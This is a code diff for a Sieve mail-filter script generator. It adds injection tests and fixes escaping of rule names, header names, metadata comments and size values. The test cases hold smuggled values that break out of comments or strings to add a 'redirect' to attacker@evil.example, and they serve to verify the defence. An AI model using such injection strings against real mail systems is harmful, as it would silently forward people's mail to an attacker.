diff --git a/lib/sieve/__tests__/generator-injection.test.ts b/lib/sieve/__tests__/generator-injection.test.ts
new file mode 100644
index 000000000..ff64b1252
--- /dev/null
+++ b/lib/sieve/__tests__/generator-injection.test.ts
@@ -0,0 +1,67 @@
+import { describe, it, expect } from 'vitest';
+import { generateScript } from '../generator';
+import { parseScript } from '../parser';
+import type { FilterRule } from '@/lib/jmap/sieve-types';
+
+// Rule names and a few condition fields went into the script unescaped:
+// a "*/" in a name closed the metadata comment, a line break left the
+// "# Rule:" comment, and a header name or size value could close its
+// string or number and add commands. Rules arrive from plugins with
+// filters:write and from imported filter sets, not only from the editor.
+
+function rule(overrides: Partial<FilterRule> = {}): FilterRule {
+  return {
+    id: 'r1',
+    name: 'Receipts',
+    enabled: true,
+    matchType: 'all',
+    conditions: [{ field: 'subject', comparator: 'contains', value: 'receipt' }],
+    actions: [{ type: 'mark_read' }],
+    stopProcessing: false,
+    ...overrides,
+  };
+}
+
+/** The script with every comment removed: what Sieve actually executes. */
+function commands(script: string): string {
+  return script.replace(/\/\*[\s\S]*?\*\//g, '').replace(/^\s*#.*$/gm, '');
+}
+
+describe('generateScript with hostile rule data', () => {
+  it('keeps a "*/" in a rule name inside the metadata comment', () => {
+    const name = 'Receipts */ redirect "attacker@evil.example"; /* x';
+    const script = generateScript([rule({ name })]);
+    expect(commands(script)).not.toContain('attacker@evil.example');
+
+    const parsed = parseScript(script);
+    expect(parsed.rules[0]?.name).toBe(name);
+  });
+
+  it('keeps a multi-line rule name on its comment line', () => {
+    const script = generateScript([rule({ name: 'Receipts\nredirect "attacker@evil.example";' })]);
+    expect(commands(script)).not.toContain('attacker@evil.example');
+    expect(script).toContain('# Rule: Receipts redirect');
+  });
+
+  it('escapes a custom header name', () => {
+    const script = generateScript([rule({
+      conditions: [{ field: 'header', headerName: 'X-A" "b', comparator: 'contains', value: 'z' }],
+    })]);
+    expect(script).toContain('header :contains "X-A\\" \\"b" "z"');
+  });
+
+  it('refuses a size that is not a number', () => {
+    const script = generateScript([rule({
+      conditions: [{ field: 'size', comparator: 'greater_than', value: '1 { redirect "attacker@evil.example"; } if true' }],
+    })]);
+    expect(commands(script)).not.toContain('attacker@evil.example');
+    expect(script).toContain('size :over 0');
+  });
+
+  it('keeps a size with a quantifier', () => {
+    const script = generateScript([rule({
+      conditions: [{ field: 'size', comparator: 'greater_than', value: '10M' }],
+    })]);
+    expect(script).toContain('size :over 10M');
+  });
+});
diff --git a/lib/sieve/generator.ts b/lib/sieve/generator.ts
index ae77d849c..6c77e3c08 100644
--- a/lib/sieve/generator.ts
+++ b/lib/sieve/generator.ts
@@ -34,8 +34,11 @@ function generateCondition(condition: FilterCondition): string {
   const { field, comparator, value } = condition;
 
   if (field === 'size') {
-    // Size is numeric, single value only.
-    const sizeValue = Array.isArray(value) ? value[0] : value;
+    // Size is numeric, single value only. It is written unquoted, so
+    // anything but a number (with an optional K/M/G quantifier) would be
+    // Sieve source; fall back to 0.
+    const raw = String((Array.isArray(value) ? value[0] : value) ?? '').trim();
+    const sizeValue = /^\d+[KMG]?$/i.test(raw) ? raw : '0';
     const op = comparator === 'greater_than' ? ':over' : ':under';
     return `size ${op} ${sizeValue}`;
   }
@@ -67,9 +70,9 @@ function generateCondition(condition: FilterCondition): string {
     return `header :mime :anychild :matches ["Content-Disposition", "Content-Type"] ${formatStringArg(normalised, (ext) => `*.${ext}*`)}`;
   }
 
-  const headerName = field === 'header'
+  const headerName = escapeString(field === 'header'
     ? (condition.headerName || 'X-Unknown')
-    : HEADER_MAP[field];
+    : HEADER_MAP[field]);
 
   switch (comparator) {
     case 'contains':
@@ -272,7 +275,10 @@ export function generateScript(
   if (options.includeVacation) {
     metadata.includeVacation = true;
   }
-  const metadataJson = JSON.stringify(metadata);
+  // The JSON sits inside a /* ... */ comment: a "*/" in any string (a rule
+  // name, a condition value) would end the comment and turn the rest into
+  // live Sieve. JSON reads "\/" back as "/", so the metadata is unchanged.
+  const metadataJson = JSON.stringify(metadata).replace(/\*\//g, '*\\/');
   const lines: string[] = [];
 
   lines.push('/* @metadata:begin');
@@ -318,7 +324,8 @@ export function generateScript(
     }
 
     lines.push('');
-    lines.push(`# Rule: ${rule.name}`);
+    // A line break in the name would end the comment and start a command.
+    lines.push(`# Rule: ${rule.name.replace(/\s+/g, ' ')}`);
 
     const conditions = rule.conditions.map(generateCondition);
     let conditionStr: string;